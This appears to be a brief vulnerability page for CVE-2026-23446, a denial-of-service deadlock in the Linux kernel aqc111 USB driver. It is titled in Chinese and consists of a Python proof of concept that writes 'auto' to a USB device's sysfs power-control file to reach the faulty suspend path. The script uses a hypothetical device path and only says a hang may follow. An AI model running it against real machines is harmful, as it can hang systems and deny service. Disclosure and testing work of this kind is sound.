CVE-2026-23446 Linux内核aqc111驱动拒绝服务漏洞

#!/usr/bin/env python3 # PoC to trigger the deadlock by interacting with USB power management # Requires local access and existence of the vulnerable device import os import sys # Path to the vulnerable USB device (hypothetical path) DEVICE_PATH = "/sys/bus/usb/devices/1-1/power/control" def trigger_suspend(): try: # Write 'auto' to trigger suspend/resume logic # This may cause the driver to enter the buggy suspend path with open(DEVICE_PATH, 'w') as f: f.write("auto") print("[+] Triggered device power state change") # Subsequent operations or system suspend may lead to the hang except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if os.path.exists(DEVICE_PATH): trigger_suspend() else: print("[-] Device not found. This PoC requires the specific hardware.")